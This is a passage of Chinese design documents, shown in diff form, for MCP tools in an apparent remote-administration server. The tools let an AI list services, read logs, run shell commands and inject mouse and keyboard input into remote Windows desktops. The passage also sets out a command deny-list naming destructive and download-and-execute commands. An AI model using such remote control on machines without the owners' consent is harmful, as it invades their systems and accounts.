- 解析器 `ParseServiceList`(5 字段记录,有界读 + 「displayName 与 serviceName 皆空 = 尾部零填充」终止)。
|
||||
- schema `BuildServiceListOutputSchema` / `BuildClientLogOutputSchema`(inputSchema 复用 `BuildGetHostDetailInputSchema` 的 `{ id }`)。
|
||||
- 工具 `BuildListServices`(发 `COMMAND_SERVICES`,LNX/MAC 提前 `-32005`)、`BuildGetClientLog`(发 `COMMAND_QUERY_LOG`)。
|
||||
- `2015RemoteDlg.cpp` 的 `MessageHandle`(两处拦截):
|
||||
- `TOKEN_SERVERLIST`(子 context):`if (IsPending) { TakeMainResponse; CancelIO(); break; }`(一次性,取走即关)。
|
||||
- `TOKEN_REPORT_LOG`(子 context):`if (IsPending) { TakeMainResponse; CancelIO(); break; }`(取首条全量即关,停止 3s 增量)。
|
||||
|
||||
**影响面**:`MessageHandle` 仅新增两个 `if` 分支;非 MCP 触发时 `IsPending` 为假,MFC 服务管理弹框与日志对话框路径不变(回归点)。
|
||||
|
||||
**验收 / 实机验证点**:
|
||||
- MFC 双击「服务管理」弹框仍正常(回归点);MFC 打开「客户端运行日志」对话框仍正常、增量持续追加(回归点)。
|
||||
- MCP `list_services` 对 Windows 主机返回 `services[]`,中文显示名/路径无乱码,`status`/`start_type` 为英文枚举;对 LNX/MAC 主机返回 `-32005`。
|
||||
- MCP `get_client_log` 返回 `log` 文本快照(UTF-8),中文日志无乱码;空日志返回空 `log`。
|
||||
- 错误路径:缺 `id`/非数字 `id` → `-32602`;未知/离线主机 → `-32002`;同 host 并发 → `-32003`;发送失败 → `-32004`;超时 → `-32001`。
|
||||
|
||||
**验证记录**(2026-08-19,真实在线主机实测):
|
||||
- `list_services`(Windows 11 EXE 主机「Essential / VCU」):返回 255 个服务,字段序(显示名→服务名→路径→状态→启动类型)正确,`status`/`start_type` 英文枚举、路径完整。
|
||||
- `get_client_log`(同上主机):返回 510 行 / 40309 字节全量快照,`[pid][时间戳][文件:行号]` 格式正确,中文日志(「启动运行」「任务已存在」「打开注册表失败,错误码:2」等)GBK→UTF-8 转码全部正确。
|
||||
- 错误路径实测:LNX 主机 `list_services` → `-32005`;缺/非法 `id` → `-32602`;离线 → `-32002`。
|
||||
- **客户端版本门槛**:`get_client_log` 对 Linux 客户端 20s 超时返回 `-32001`——当前 Linux 客户端运行版本未实现 `COMMAND_QUERY_LOG`→`CClientLogManager` 日志回传链路(服务端下发命令无响应),属版本/实现门槛,非 MCP 缺陷(与 §6.2 `get_activity_history` 对老客户端超时同类)。`list_services` 因服务为 Windows-only(`EnumServicesStatus`),已对 LNX/MAC 提前 `-32005`,不受此门槛影响。
|
||||
|
||||
**回滚**:revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 两处拦截。
|
||||
|
||||
### 6.5 P3a:`exec_command`(模式 B,写操作,评审后实施)
|
||||
|
||||
**改动**:复刻 Web 终端链路(§4.3),把 `m_TermPending` 换成 MCP 自己的挂起标记:
|
||||
- 下 `COMMAND_SHELL` → `TOKEN_SHELL_START`/`TOKEN_SHELL_DATA` 接管 → 发送命令文本 → 收集 stdout → 关子链接 → 返回。
|
||||
|
||||
**完成判据(本工具最难的半截,必须定死)**:交互 shell 没有「命令结束」信号,采用**哨兵方案**:
|
||||
|
||||
```
|
||||
实际下发: cmd ; echo __MCP_DONE_<nonce>__ ; echo __MCP_EXIT_$?__
|
||||
收集端: 持续累积 TOKEN_SHELL_DATA,直到同时匹配 __MCP_DONE_<nonce>__ 与 __MCP_EXIT_<code>__
|
||||
取出退出码,剥离哨兵行,返回 stdout
|
||||
```
|
||||
|
||||
`<nonce>` 随机,避免命令自身输出误命中哨兵;整体受 `McpToolTimeoutMs` 兜底(超时强制关链 + 返回错误)。
|
||||
|
||||
**前置安全评审**(见 §8)通过后才实施。
|
||||
|
||||
**验收**:`exec_command(id, "tasklist")` 返回进程列表文本 + 退出码;白名单外命令被拒绝并审计;超时/离线返回明确错误;MFC 终端弹框不受影响。
|
||||
|
||||
---
|
||||
|
||||
## 7. 「新增工具」标准配方(可复用流程)
|
||||
|
||||
后续任何人新增一个工具,按以下 6 步走:
|
||||
|
||||
1. **定协议与模式**:确认复用哪个 `COMMAND_*`→`TOKEN_*` 链路,判定是模式 A(主连接 RPC)、A0(单向命令)还是 B(子链接流式),写进 §5.1 表格。
|
||||
2. **定 schema**:在 `BuildToolsListResult` 注册 `name`/`description`/`inputSchema`/`outputSchema`(description 用 `u8"..."`,见 §10)。
|
||||
3. **加 dispatch**:在 `BuildToolsCall` 里加一个 `toolName == "..."` 分支。
|
||||
4. **实现数据通路**:
|
||||
- 纯内存/现成字段 → 直接实现,不进 `MessageHandle`。
|
||||
- 模式 A0(单向命令)→ 直接 `Send2Client` 后返回,无需挂起/超时。
|
||||
- 模式 A → 加 `m_Pending` 挂起 + `MessageHandle` 对应 `TOKEN_*` 加 `if (IsPending) TakeMainResponse`(IO 线程同步拷贝,**不 CancelIO**)。
|
||||
- 模式 A′ → 同模式 A,但拦截后额外 `ContextObject->CancelIO()` 关一次性子链接。
|
||||
- 模式 B → 加 `m_Pending` 挂起 + `MessageHandle` 对应 `TOKEN_*` 加 `if (IsPending) TakeSubContext` + `OnShellData` 泵数据。
|
||||
5. **超时与清理**:带超时、迟到回收、用完即关(模式 B);每 host 单飞行(§4.5)。
|
||||
6. **验收与回滚**:写 §11 的 DoD 清单,确认回归点(对应 MFC 弹框路径不变)。
|
||||
|
||||
---
|
||||
|
||||
## 8. 安全与权限模型演进
|
||||
|
||||
| 阶段 | 鉴权 | 授权 |
|
||||
|------|------|------|
|
||||
| P1/P2 | 单一静态 Bearer token | 全部只读,token 即授权 |
|
||||
| P3 | 引入 **token 分级 + 分组授权** | 只读 token / 完整 token 两档;写操作要求完整 token 且限定可访问分组 |
|
||||
| P4 | (如需)会话级授权 | 会话内临时授权 |
|
||||
|
||||
**P3 进入前必须评审的三条边界:**
|
||||
|
||||
1. **命令白名单**:`exec_command` 默认只放行只读命令(`systeminfo`/`tasklist`/`ipconfig`/`netstat` 等);危险命令(`del`/`format`/下载执行/`reg add`)需显式放行或直接拒绝。
|
||||
2. **审计日志**:每次写操作记录 `host_id + tool + 参数 + token 来源(env/CFG)+ 时间`,写 `Mprintf` + 日志文件。
|
||||
3. **分组授权(新增)**:写工具必须限定「token 能操作哪些主机/分组」,**复用 Web 远程桌面已有的 `WebUser.allowed_groups` + admin/viewer 角色模型**(`WebService.cpp:1852-1877`),而非仅区分读/写。否则一个完整 token 就能对**所有**主机执行命令,越过了 Web 侧已有的分组隔离。
|
||||
|
||||
> 设计底线:MCP 的写能力与 Web 远程桌面同等级敏感,任何写工具都要按「可控、可审、可关、可分组隔离」交付,不允许「开了 MCP 就能无脑执行任意命令」。
|
||||
|
||||
---
|
||||
|
||||
## 9. 配置与开关扩展
|
||||
|
||||
延续 Phase 1 的配置风格(`settings` 段 + env 覆盖 + `UIBranding` 开关):
|
||||
|
||||
> **配置存储位置(重要)**:`THIS_CFG` 在 **Release 版恒走注册表** `HKCU\Software\YAMA\settings`(`2015Remote.cpp:238` 的 `#else` 分支 `new iniFile`);`settings.ini` 仅在 **Debug 版**(`#ifdef _DEBUG` 且 `GetPwdHash()==masterHash`)才读,否则同样走注册表。故 Release 版改 MCP 配置应走「扩展 → MCP设置」对话框(写注册表)或直接改注册表,手改 `settings.ini` 对 Release 无效。
|
||||
|
||||
| 配置键 | 默认 | 说明 |
|
||||
|--------|------|------|
|
||||
| `McpEnabled` | 0 | 总开关(已有) |
|
||||
| `McpPort` | 6544 | 端口(已有) |
|
||||
| `McpBind` | 127.0.0.1 | 绑定(已有) |
|
||||
| `McpToken` | 空 | 静态 token(已有) |
|
||||
| `McpReadonly` | 1 | **P3 新增**:1=仅只读工具,0=开放写工具(配合完整 token) |
|
||||
| `McpCmdWhitelist` | 内置只读命令集 | **P3 新增**:`exec_command` 白名单(分号分隔) |
|
||||
| `McpToolTimeoutMs` | 20000 | **P2b 新增**:数据等待超时(当前为 `McpServer.cpp` 内编译期常量 `kMcpToolTimeoutMs`,未接配置) |
|
||||
|
||||
新增写能力时,`UIBranding.h`/`FeatureFlags.h` 加对应隐藏/特性位,保持「品牌定制可裁剪」的既有约定。
|
||||
|
||||
---
|
||||
|
||||
## 10. 编码 / 兼容性规范
|
||||
|
||||
- **UTF-8 输出**:所有进入 JSON 的字符串用 `u8"..."` 前缀(项目 `/execution-charset:.936` 会把普通窄字面量编成 GBK)。已在 `list_online_hosts` 的 `description` 中验证,服务端输出正确 UTF-8。
|
||||
- **JSON 转义**:jsoncpp 会把非 ASCII 输出为 `\uXXXX`,这是合法 JSON,客户端解析即还原,无需处理。
|
||||
- **客户端能力位**:依赖客户端能力的工具(如 `get_screenshot` 的 `CLIENT_CAP_SCREEN_PREVIEW`、UTF-8 字段的 `CLIENT_CAP_UTF8`)必须先查能力位,不支持则返回明确错误而非空结果。
|
||||
- **id 一致性**:工具入参 `id` 必须与 `list_online_hosts` 返回的 `id` 同源(`context::GetClientID()` 的 uint64),可直接回填 `FindHost(uint64_t)`;仅接受**在线**主机的 id,离线返回明确错误。
|
||||
- **版本兼容**:子链接命令/结构体(`common/commands.h`)**禁止改动既有字段**;MCP 只消费既有协议,不新增命令(原则 2)。
|
||||
- **MBCS 构建**:新增 UI 文案走 `_TR()` + lang ini(GBK),与 Phase 1 一致。
|
||||
|
||||
---
|
||||
|
||||
## 11. 验收标准(Definition of Done)
|
||||
|
||||
每个工具交付时,以下全部满足才算完成:
|
||||
|
||||
- [ ] `tools/list` 返回该工具及完整 schema。
|
||||
- [ ] 正常输入返回正确结构化结果。
|
||||
- [ ] 非法输入(错 id / 缺参数 / 设备离线 / 不支持能力)返回**明确的 JSON-RPC 错误码**,不崩溃、不挂死。
|
||||
- [ ] 数据获取有超时、迟到回收;模式 B 用完即关(无会话泄漏)。
|
||||
- [ ] 每 host 单飞行:同 host 并发请求被拒绝而非串扰。
|
||||
- [ ] **回归点**:对应 MFC 弹框/Web 路径行为不变(非 MCP 触发时不受影响)。
|
||||
- [ ] 编码正确(UTF-8,中文无乱码)。
|
||||
- [ ] 写操作工具附带白名单/审计/分组授权(仅 P3)。
|
||||
- [ ] 无新增第三方库。
|
||||
|
||||
---
|
||||
|
||||
## 12. 风险与回滚
|
||||
|
||||
| 风险 | 缓解 |
|
||||
|------|------|
|
||||
| 无头接管串扰 MFC/Web 路径 | 挂起标记按 `device_id` 唯一;`if (IsPending)` 仅在 MCP 触发时成立,其余路径原样 |
|
||||
| 共享 `InDeCompressedBuffer` 被覆盖 | 模式 A 在 IO 线程 `MessageHandle` 内同步拷贝,不等异步 |
|
||||
| 无请求 id 的工具响应串扰 | 每 host 单飞行(§4.4);MCP 与 MFC 各用独立子链接,互不占位(§4.2′) |
|
||||
| 阻塞 httplib worker 饿死后续请求 | 低频串行可接受;文档显式声明,未来并发改「任务+轮询」(§4.5) |
|
||||
| 超时/挂死 | 所有工具强制 `wait_for(timeout)` + 迟到回收 |
|
||||
| 写操作越权 | P3 前三道评审边界(白名单/审计/分组授权)+ `McpReadonly` 默认 1 |
|
||||
| 一次性大改影响现有功能 | 分 P2a→P2b→P2c→P3a 四期,每期独立合入/验收/回滚 |
|
||||
| 输出过大拖垮 JSON | `list_files`/进程列表等大结果设上限/分页 |
|
||||
|
||||
**回滚策略**:每期改动集中在一两个文件(`McpServer.*` + 可选 `MessageHandle` 若干 `if` 分支),出错 revert 当期 commit 即可,不影响已交付的 P1。
|
||||
|
||||
---
|
||||
|
||||
## 附:建议执行顺序
|
||||
|
||||
1. **P2a**(`search_hosts` + `get_host_detail`)✅ ——纯内存、零风险,已实现,验证「多工具 dispatch」模式。
|
||||
2. **P2b**(`list_processes` + `list_windows` + `get_activity_history`)✅ ——首次引入**模式 A′ 一次性子链接**(进程/窗口)与**模式 A 主连接 RPC**(历史活动)无头接管,把 §4.2/§4.2′ 的机制跑通并沉淀成 §7 配方。
|
||||
3. **P2c**(`get_screenshot` 走屏幕预览链路 + `list_files`)✅ ——补上「看」的能力,仍是只读(`get_screenshot` 模式 A、`list_files` 模式 A′)。
|
||||
4. **P2d**(`list_services` + `get_client_log`)✅ ——补上「看服务 / 看日志」的感知能力,仍是只读(均为模式 A′,复用 P2b/P2c 的一次性子链接机制)。
|
||||
5. **P3a**(`exec_command`)——首次引入**模式 B 子链接流式**,在 P2 的挂起机制成熟后,走完安全评审再落地写操作。
|
||||
|
||||
每完成一期即提交、验收,再进入下一期,保持「有序、平稳、循序渐进」。
|
||||
@@ -0,0 +1,484 @@
|
||||
# MCP 远程控制(Remote Control)设计文档
|
||||
|
||||
> 版本:v1(设计基线) 状态:待开发 关联:`docs/Mcp_Design.md`、`docs/Mcp_Terminal_Design.md`
|
||||
> 定位:本文件是「AI 远程控制一台 Windows 客户端(像人一样点鼠标、敲键盘、看画面完成任务)」功能的**唯一参照设计**,后续开发一律以本文为准,改需求先改本文。
|
||||
|
||||
---
|
||||
|
||||
## 1. 背景与目标
|
||||
|
||||
### 1.1 问题
|
||||
|
||||
现有 MCP 工具只能做「文本/命令行」层面的操作(`exec_command` 一次性命令、`terminal_*` 持久终端、`list_files`/`get_screenshot` 等只读)。很多真实任务只能在 **GUI 上完成**:点按钮、填表单、拖拽窗口、操作只有图形界面的软件。
|
||||
|
||||
AI 无法「看懂」视频流。把 25fps 的远程画面直接丢给视觉模型是行不通的——每秒 25 张、每张数十万像素,海量且绝大部分帧对决策无用。
|
||||
|
||||
### 1.2 目标
|
||||
|
||||
提供一组 MCP 工具,让 AI 以**「截图 → 观察 → 决策 → 注入单个输入动作 → 等待 → 重复」**的闭环驱动远程桌面:
|
||||
|
||||
- **Observe(看)**:按需取一帧解码后的位图(JPEG),按视觉模型能力缩放到合适尺寸。
|
||||
- **Act(动)**:注入鼠标/键盘事件,复用现有远程桌面的输入注入链路。
|
||||
- **Decide(想)**:由 AI/宿主(Claude Code / 任何 MCP 客户端)在工具返回结果之上编排循环——**YAMA 只提供原语,不提供黑盒 `perform_task`**(与终端设计同一哲学)。
|
||||
|
||||
### 1.3 关键设计决策(已确认)
|
||||
|
||||
| # | 决策 | 理由 |
|
||||
|---|---|---|
|
||||
| D1 | **截图驱动,非视频流** | 每次决策一张图,3–8s/步;视觉模型天然面向静态图 |
|
||||
| D2 | **原语 + AI 编排,非黑盒任务** | 可控、可审、可中断;AI 在循环外可插判断/确认 |
|
||||
| D3 | **归一化坐标(0..1)** | 彻底规避「截图缩放 vs 注入物理像素」的比例错位(最佳实践第一大坑) |
|
||||
| D4 | **复用现有注入链路** | `COMMAND_SCREEN_CONTROL` + `MSG64` + 客户端 `SendInput` 已成熟 |
|
||||
| D5 | **Observe 复用 `get_screenshot`** | 主连接按需抓 JPEG,无需常驻子连接,最省 |
|
||||
| D6 | **独立开关 + 全程审计** | 与终端同级:`McpRemoteControl=1 && McpReadonly=0`,默认关 |
|
||||
|
||||
---
|
||||
|
||||
## 2. 行业最佳实践借鉴
|
||||
|
||||
本节是「科学设计」的依据,逐条落到下文对应章节。主要参考 Anthropic 官方 Computer Use / Browser Use 最佳实践与参考实现(见文末「参考」)。
|
||||
|
||||
| 最佳实践 | 本设计落地 |
|
||||
|---|---|
|
||||
| 视觉模型是「规划者+眼睛」,宿主是「手」;工具调用=动作,返回=截图 | §3 循环归属:YAMA=手,AI=规划者 |
|
||||
| **客户端先自行缩图**,绝不让模型 API 静默缩放(否则坐标系统性偏移) | §5:客户端按 `max_width` 缩图后 JPEG 回传,模型见到的就是声明尺寸 |
|
||||
| 声明 `display_width/height` 必须 == 实际发送的图尺寸 | §7:归一化坐标,服务器侧映射物理像素,不依赖声明尺寸 |
|
||||
| 动作原语集合(move/click/drag/scroll/type/key/…) | §4:`remote_mouse`/`remote_keyboard` 的动作枚举对齐 |
|
||||
| 文本指令放在截图**之前**(内容顺序) | §8/宿主侧建议:由 MCP 客户端保证,本文仅记录 |
|
||||
| 缩图上限:长边 ~1568px、总像素 ~1.15MP(Claude 4.6 系);推荐 1280×720 | §5.3:`max_width` 默认建议 1280,可配 |
|
||||
| 输入注入 vs 高危动作:不可逆操作应人工确认(human-in-the-loop) | §9.4:审计 + 宿主确认,YAMA 不做每动作确认(防延迟) |
|
||||
| 提示注入是首要风险(模型处理不可信 UI 文本) | §9.5:全审计 + 只读关才可用 + 建议宿主隔离 |
|
||||
| 长会话上下文管理(滚动缓冲/压缩) | §3:宿主职责,本文提示 |
|
||||
|
||||
---
|
||||
|
||||
## 3. 总体架构
|
||||
|
||||
```
|
||||
┌──────────────────── 宿主(Claude Code / MCP 客户端)────────────────────┐
|
||||
│ 系统提示(含远程控制约定) + 任务文本 │
|
||||
│ ↓ │
|
||||
│ ┌──────────────────────── 智能体循环 ─────────────────────────┐ │
|
||||
│ │ get_screenshot(max_width) ──→ 视觉模型看图 ──→ 决策 ──→ │ │
|
||||
│ │ remote_mouse/remote_keyboard(归一化坐标/文本) ──→ 等待0.5–2s │ │
|
||||
│ │ 循环,直到任务完成或模型判定需用户介入 │ │
|
||||
│ └────────────────────────────────────────────────────────────┘ │
|
||||
└───────────────────────────────┬───────────────────────────────────────┘
|
||||
│ JSON-RPC over HTTP POST /mcp (Bearer)
|
||||
┌───────────────────────────────▼───────────────────────────────────────┐
|
||||
│ YAMA 服务器(McpServer.cpp) │
|
||||
│ · get_screenshot:COMMAND_SCREEN_PREVIEW_REQ → 客户端缩图 JPEG │
|
||||
│ · remote_open:COMMAND_SCREEN_SPY → 建立屏幕子连接(控制会话) │
|
||||
│ · remote_mouse/remote_keyboard:归一化→物理像素 → MSG64 → │
|
||||
│ COMMAND_SCREEN_CONTROL(经屏幕子连接) │
|
||||
└───────────────────────────────┬───────────────────────────────────────┘
|
||||
│ 主连接(控制)+ 屏幕子连接(注入)
|
||||
┌───────────────────────────────▼───────────────────────────────────────┐
|
||||
│ 客户端(ClientDll / ScreenManager / ScreenPreview) │
|
||||
│ · CaptureAndEncodePreview:抓主屏 + StretchBlt 缩图 + JPEG │
|
||||
│ · ScreenManager.ProcessCommand:解码 MSG64 → SendInput │
|
||||
└───────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
**核心事实(已核实,见 §13 源码索引)**:
|
||||
|
||||
- **Observe** 走**主连接**、无子连接、无需控制模式:`COMMAND_SCREEN_PREVIEW_REQ`(247) → 客户端抓主屏缩图 JPEG → `TOKEN_SCREEN_PREVIEW_RSP`(248)。现有 `get_screenshot` 已完整实现。
|
||||
- **Act(注入)必须走屏幕子连接**:`COMMAND_SCREEN_CONTROL`(20) 只能经 `COMMAND_SCREEN_SPY`(16) 建立的子连接发送(`hub.go` 注释:input events MUST go through the sub-connection)。故需要一个 `remote_open` 建立/持有该子连接。
|
||||
- 服务器端同时维护一张**原始 BGRA 32bpp DIB**(`m_BitmapData_Full`),但 MCP 的 `get_screenshot` **不使用**它——它拿的是客户端已编码的 JPEG。两者坐标空间不同,见 §7。
|
||||
|
||||
---
|
||||
|
||||
## 4. 工具集设计
|
||||
|
||||
### 4.1 工具清单
|
||||
|
||||
| 工具 | 作用 | 入参(required 标注) | 出参 |
|
||||
|---|---|---|---|
|
||||
| `get_screenshot`(**已有,复用**) | Observe | `id`;可选 `max_width`(64..1920) | JPEG 图片(见 §5) |
|
||||
| `remote_open` | 建立控制会话(屏幕子连接) | `id`;可选 `timeout_ms` | `session_id`(32hex)、`screen_w`/`screen_h`(物理虚拟桌面像素) |
|
||||
| `remote_close` | 关闭会话 | `id`、`session_id` | `closed`(bool) |
|
||||
| `remote_mouse` | 注入鼠标 | `id`、`session_id`、`action`、`x`、`y`(+ 按 action 需 `x2`/`y2`/`button`/`delta`/`clicks`) | `{}`(成功即空对象) |
|
||||
| `remote_keyboard` | 注入键盘 | `id`、`session_id`、`action`(+ 按 action 需 `text`/`key`/`modifiers`) | `{}` |
|
||||
|
||||
> 命名对齐现有 `terminal_*`(open/exec/close),Observe 沿用 `get_screenshot` 避免重复造轮子。鼠标/键盘各一个工具、用 `action` 枚举区分具体动作——既对齐 Anthropic 的 `computer` 工具动作集,又贴合现有 `WebService::HandleMouse/HandleKey` 的「鼠标/键盘分家」实现。
|
||||
|
||||
### 4.2 `remote_mouse` 动作枚举
|
||||
|
||||
| action | 参数 | 语义 |
|
||||
|---|---|---|
|
||||
| `move` | `x`,`y` | 移动光标(不按键) |
|
||||
| `down` | `x`,`y`,`button`(left/middle/right) | 按下 |
|
||||
| `up` | `x`,`y`,`button` | 抬起 |
|
||||
| `click` | `x`,`y`,`button`(默认 left)、`clicks`(1/2/3,默认 1) | 单击/双击/三击 |
|
||||
| `right_click` | `x`,`y` | 右键(`click` 的便捷别名) |
|
||||
| `middle_click` | `x`,`y` | 中键 |
|
||||
| `drag` | `x`,`y`,`x2`,`y2`,`button`(默认 left) | 从 (x,y) 拖到 (x2,y2) |
|
||||
| `scroll` | `x`,`y`,`delta`(+/- 滚动量)、`button`(可选,垂直默认) | 滚轮 |
|
||||
|
||||
### 4.3 `remote_keyboard` 动作枚举
|
||||
|
||||
| action | 参数 | 语义 |
|
||||
|---|---|---|
|
||||
| `type` | `text` | 输入一串文本(字符级映射,非粘贴) |
|
||||
| `key_down` | `key`、`modifiers`(可选) | 按下组合键(如 `Ctrl`+`C`) |
|
||||
| `key_up` | `key`、`modifiers`(可选) | 抬起 |
|
||||
| `key_press` | `key`、`modifiers`(可选) | 按下并抬起(最常用) |
|
||||
|
||||
`key` 取值对齐 Windows 虚拟键名(`VK_*` 去掉前缀,如 `ENTER`/`TAB`/`F5`/`LEFT`)与常见修饰键 `CTRL`/`ALT`/`SHIFT`/`WIN`。`type` 文本中的字符经客户端 `VkKeyScan`/Unicode 注入映射为键盘事件(非剪贴板粘贴,保证焦点内输入)。
|
||||
|
||||
### 4.4 可选/扩展工具(`remote_clipboard`、`remote_focus_window` 为 §17 代聊实验所需,建议随阶段一落地)
|
||||
|
||||
- `remote_clipboard`:写远程剪贴板(UTF-8→Unicode),非 ASCII 文本输入的关键路径;复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8 逻辑或新增 UTF-8 设剪贴板命令(§6.4)。
|
||||
- `remote_focus_window`:`COMMAND_SCREEN_WINDOW`(153) / 客户端 `SetForegroundWindow`,把焦点给到指定窗口(配合 `list_windows` 的 `hwnd`);代聊第一步。
|
||||
- `remote_cursor_position`:读当前光标(`TOKEN_NEXTSCREEN` 帧头已带 `POINT cursor`)。
|
||||
- `remote_screenshot`(会话内/窗口抓屏):从子连接 DIB 服务端缩图,或按窗口抓取(`COMMAND_SCREEN_WINDOW`),供高分辨率读聊天文字与多显示器场景(§12 阶段二、§17)。
|
||||
|
||||
---
|
||||
|
||||
## 5. 屏幕捕获与编码(Observe)
|
||||
|
||||
### 5.1 现有链路(复用)
|
||||
|
||||
`get_screenshot`(`McpServer.cpp` `BuildGetScreenshot`,~1597)已实现:
|
||||
|
||||
1. `ParseHostIdArg` → `FindMainContext` → 能力门 `ctx->SupportsScreenPreview()`(`CLIENT_CAP_SCREEN_PREVIEW`,不支持 → `-32005`)。
|
||||
2. `BeginPending(devId,"get_screenshot")` 设备级互斥(忙 → `-32003`)。
|
||||
3. `reqId = NextPreviewReqId()`;`SetPendingReqId(devId, reqId)`(stale-drop 机制)。
|
||||
4. `parent->ChooseScreenPreviewParams(...)` 按 RTT/FRP 自适应缩图档位 + `max_width` 覆盖(clamp 64..1920)。
|
||||
5. `SendScreenPreviewRequest` → `COMMAND_SCREEN_PREVIEW_REQ`。
|
||||
6. `WaitPending` 收 `[ScreenPreviewRspHeader][JPEG]`,校验 `status==OK && format==JPEG`。
|
||||
7. base64 JPEG 返回:`structuredContent.image = {mimeType:"image/jpeg", width, height, bytes}`,`content=[{type:"image", data:<base64>, mimeType:"image/jpeg"}]`。
|
||||
|
||||
客户端 `CaptureAndEncodePreview`(`client/ScreenPreview.cpp:107`)抓**主屏** + `StretchBlt`(HALFTONE) 缩图 + GDI+ `Bitmap::Save` JPEG——**位图永不离开客户端,只回传 JPEG**。
|
||||
|
||||
### 5.2 缩放策略(对齐最佳实践 D5)
|
||||
|
||||
- 缩图在**客户端**完成(`max_width` 长边约束),服务器/MCP 宿主**不再二次缩放**,模型看到的就是声明尺寸——避免「模型 API 静默缩放导致坐标漂移」这个头号坑。
|
||||
- `max_width` 由宿主按视觉模型能力显式传入;YAMA 提供**默认建议 1280**(长边),上限维持 1920。
|
||||
|
||||
### 5.3 推荐参数
|
||||
|
||||
| 项 | 建议值 | 说明 |
|
||||
|---|---|---|
|
||||
| `max_width`(长边) | 1280(默认)/ 1568(上限) | 1280×720 ≈ 80% 像素预算、训练常见分辨率 |
|
||||
| 编码 | JPEG,quality ~70–85 | 客户端 `jpegQuality` 已有,按 `ChooseScreenPreviewParams` 自适应 |
|
||||
| 返回 | base64 `image/jpeg` | 已实现 |
|
||||
|
||||
---
|
||||
|
||||
## 6. 输入注入(Act)
|
||||
|
||||
### 6.1 协议(复用,已核实)
|
||||
|
||||
- **包格式**:`[cmd:1][MSG64:48]`,可批量重复(`commands.h` `COMMAND_SCREEN_CONTROL=20`,`MSG64` 1581–1623)。
|
||||
- **MSG64 布局**:`{uint64 hwnd, message, wParam, lParam, time; POINT pt;}` = 48 字节(`_WIN64` 下 `MYMSG` 即 `MSG`;客户端亦接受 28 字节 `MSG32`,由 `ulLength % 28/48` 判定)。
|
||||
- **客户端解码**:`ScreenManager.cpp:1175` → `ProcessCommand(1727)` → `SendInput`:
|
||||
- 鼠标:坐标取 `LOWORD/HIWORD(lParam)`,`WM_MOUSEMOVE`→`MOUSEEVENTF_MOVE`,`WM_LBUTTONDOWN/UP`→`LEFTDOWN/LEFTUP`,`WM_LBUTTONDBLCLK`→额外 `LEFTDOWN`,`WM_MBUTTONDOWN/UP`,`WM_MOUSEWHEEL`→`MOUSEEVENTF_WHEEL`(`mouseData=GET_WHEEL_DELTA_WPARAM`)。
|
||||
- 键盘:`wVk=(WORD)wParam`,`wScan=(lParam>>16)&0xFF`,`KEYEVENTF_EXTENDEDKEY` 由 `(lParam>>24)&1`。
|
||||
|
||||
### 6.2 服务端可复用实现
|
||||
|
||||
`WebService::HandleMouse`(`WebService.cpp:773-865`)与 `HandleKey`(`867-952`)已从 JSON(`type/x/y/button/delta`;`keyCode/down/altKey`)构造 `MSG64` 并 `[COMMAND_SCREEN_CONTROL][MSG64]` 发送。其中 `HandleKey` 已正确处理 `lParam`:repeat=1、`MapVirtualKey` 扫瞄码、扩展键表、Alt 上下文位 29、keyup 位 30–31。
|
||||
|
||||
**结论**:`remote_mouse`/`remote_keyboard` 是这两个函数的 MCP 薄封装——先归一化→物理像素,再套用其 `MSG64` 构造逻辑。**不要新写注入协议**。
|
||||
|
||||
### 6.3 子连接前置条件(关键约束)
|
||||
|
||||
注入**必须**经屏幕子连接:
|
||||
|
||||
1. 主连接发 `COMMAND_SCREEN_SPY`(16)(载荷 `{cmd, USING_DXGI|2, ALGORITHM_*, MultiScreen}`,见 `2015RemoteDlg.cpp:8443-8470`)→ 客户端开子连接(`ClientDll.cpp:89-94`)。
|
||||
2. 客户端回 `TOKEN_BITMAPINFO`(含物理 `BITMAPINFOHEADER`:`biWidth/biHeight`)——**这是归一化坐标映射所需的物理分辨率来源**。
|
||||
3. 服务器发 `COMMAND_NEXT`(30) 开始流/允许控制。
|
||||
4. `GetScreenContext(device_id)`(`WebService.cpp:2084`)从 `m_ScreenContexts` 取该子连接上下文。
|
||||
|
||||
> 实现提示:上述 1–4 的建立/持有逻辑**耦合在 `CScreenSpyDlg`(隐藏对话框)里**——子连接、帧 DIB、`TOKEN_BITMAPINFO` 处理都由它完成。MCP 的 `remote_open` 应复用 `WebService::StartRemoteDesktop`(1725) 的「隐藏对话框」路径,而非另造无对话框持有者(§13.2)。
|
||||
|
||||
`remote_open` 即上述 1–4 的封装;`screen_w/screen_h` 取自 `TOKEN_BITMAPINFO`。
|
||||
|
||||
### 6.4 文本输入:ASCII 直注 vs 非 ASCII 走剪贴板
|
||||
|
||||
`remote_keyboard` 的 `type` 走物理键事件(`wVk`/`wScan` → `SendInput`),只能可靠注入 ASCII/ANSI 字符——**中文等非 ASCII 文本无法靠模拟键盘键入**(需 IME 组合,键事件层面做不到)。
|
||||
|
||||
非 ASCII 文本的可靠路径是**剪贴板 + 粘贴**:
|
||||
|
||||
- 服务器设远程剪贴板命令 `COMMAND_SCREEN_SET_CLIPBOARD`(25),包 `[cmd:1][text:N]`,经屏幕子连接发送;客户端 `UpdateClientClipboard`(`ScreenManager.cpp:1223/1599`)落到剪贴板。
|
||||
- 随后 `remote_keyboard` 注入 `Ctrl+V` 粘贴、`Enter` 发送。
|
||||
- **编码注意(已核实)**:`UpdateClientClipboard` 用 `SetClipboardData(CF_TEXT,...)`——ANSI/GBK 格式(`CF_TEXT`,非 `CF_UNICODETEXT`)。MVP 下中文可经 `ToAnsi(utf8, 936)` 转 GBK 后直发(与终端命令同模式);但 emoji/非 GBK 字符会丢、部分新式聊天软件粘贴偏好 Unicode。更稳做法是复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8→Unicode→`CF_UNICODETEXT` 逻辑(`KernelManager.cpp:1573-1587`,且已内置「设完剪贴板后自动模拟 Ctrl+V」),或新增一个 UTF-8 设剪贴板变体。见 §17 实验案例。
|
||||
|
||||
---
|
||||
|
||||
## 7. 坐标约定与映射
|
||||
|
||||
### 7.1 归一化坐标(D3)
|
||||
|
||||
- AI 在**所有鼠标动作**里输出 **0..1 浮点**:`x = 目标横向比例,y = 目标纵向比例`,相对**它看到的那张截图**。
|
||||
